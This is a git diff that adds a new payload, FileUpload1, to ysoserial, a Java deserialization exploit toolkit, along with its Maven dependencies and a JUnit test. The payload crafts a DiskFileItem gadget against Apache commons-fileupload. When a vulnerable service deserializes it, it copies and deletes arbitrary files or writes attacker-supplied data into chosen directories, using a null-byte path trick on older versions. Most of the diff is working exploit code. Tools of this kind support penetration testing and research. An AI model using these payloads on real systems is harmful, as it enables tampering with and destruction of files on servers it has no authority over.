diff --git a/pom.xml b/pom.xml index 8d39e9b..e8c32f9 100644 --- a/pom.xml +++ b/pom.xml @@ -93,6 +93,11 @@ javassist 3.19.0-GA + + commons-codec + commons-codec + 1.9 + @@ -147,6 +152,11 @@ jdk15 2.4 + + commons-fileupload + commons-fileupload + 1.3 + diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java new file mode 100644 index 0000000..db84ac7 --- /dev/null +++ b/src/main/java/ysoserial/payloads/FileUpload1.java @@ -0,0 +1,124 @@ +package ysoserial.payloads; + + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.lang.reflect.Field; +import java.util.Arrays; + +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.fileupload.disk.DiskFileItem; +import org.apache.commons.io.output.DeferredFileOutputStream; +import org.apache.commons.io.output.ThresholdingOutputStream; + +import ysoserial.PayloadTest; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * Gadget chain: + * DiskFileItem.readObject() + * + * Arguments: + * - copyAndDelete:sourceFile:destDir + * - write:destDir:ascii-data + * - writeB64:destDir:base64-data + * - writeOld:destFile:ascii-data + * - writeOldB64:destFile:base64-data + * + * Yields: + * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) + * - pre 1.3.1 (+ old JRE): write data to an arbitrary file + * - 1.3.1+: write data to a more or less random file in an arbitrary directory + * + * @author mbechler + */ +@Dependencies ( { + "commons-fileupload:commons-fileupload:1.3.1", + "commons-io:commons-io:2.4" +} ) +@PayloadTest(harness="ysoserial.payloads.FileUploadTest") +public class FileUpload1 implements ObjectPayload { + + /** + * {@inheritDoc} + * + * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) + */ + public DiskFileItem getObject ( String command ) throws Exception { + + String[] parts = command.split(":"); + + if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) { + return copyAndDelete(parts[ 1 ], parts[ 2 ]); + } + else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) { + return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); + } + else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) { + return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); + } + else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) { + return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); + } + else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) { + return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); + } + else { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + } + + + private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + + // writes data to an arbitrary file + private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + + /** + * @param thresh + * @param repoPath + * @param filePath + * @param data + * @return + * @throws IOException + * @throws Exception + */ + private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Field writtenF = ThresholdingOutputStream.class.getDeclaredField("written"); + writtenF.setAccessible(true); + writtenF.set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(FileUpload1.class, args); + } + +} diff --git a/src/test/java/ysoserial/payloads/FileUploadTest.java b/src/test/java/ysoserial/payloads/FileUploadTest.java new file mode 100644 index 0000000..09ce06d --- /dev/null +++ b/src/test/java/ysoserial/payloads/FileUploadTest.java @@ -0,0 +1,85 @@ +/** + * © 2016 AgNO3 Gmbh & Co. KG + * All right reserved. + * + * Created: 05.03.2016 by mbechler + */ +package ysoserial.payloads; + +import java.io.File; +import java.io.IOException; +import java.util.Arrays; +import java.util.concurrent.Callable; + +import org.junit.Assert; + +import com.google.common.io.Files; + +import ysoserial.CustomTest; + +/** + * @author mbechler + * + */ +public class FileUploadTest implements CustomTest { + + /** + * + */ + private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF }; + private File source; + private File repo; + + + /** + * + */ + public FileUploadTest () { + try { + source = File.createTempFile("fileupload-test", ".source"); + source.deleteOnExit(); + repo = Files.createTempDir(); + } + catch ( IOException e ) { + e.printStackTrace(); + } + } + + /** + * {@inheritDoc} + * + * @see ysoserial.CustomTest#run(java.util.concurrent.Callable) + */ + public void run ( Callable payload ) throws Exception { + try { + Files.write(FDATA, this.source); + payload.call(); + + File found = null; + for ( File f : this.repo.listFiles()) { + found = f; + break; + } + Assert.assertNotNull("File not copied", found); + Assert.assertFalse("Source not deleted", this.source.exists()); + Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found))); + } finally { + if ( this.repo.exists()) { + for ( File f : this.repo.listFiles()) { + f.delete(); + } + this.repo.delete(); + } + } + } + + /** + * {@inheritDoc} + * + * @see ysoserial.CustomTest#getPayloadArgs() + */ + public String getPayloadArgs () { + return "copyAndDelete:" + this.source.getAbsolutePath() + ":" + this.repo.getAbsolutePath(); + } + +}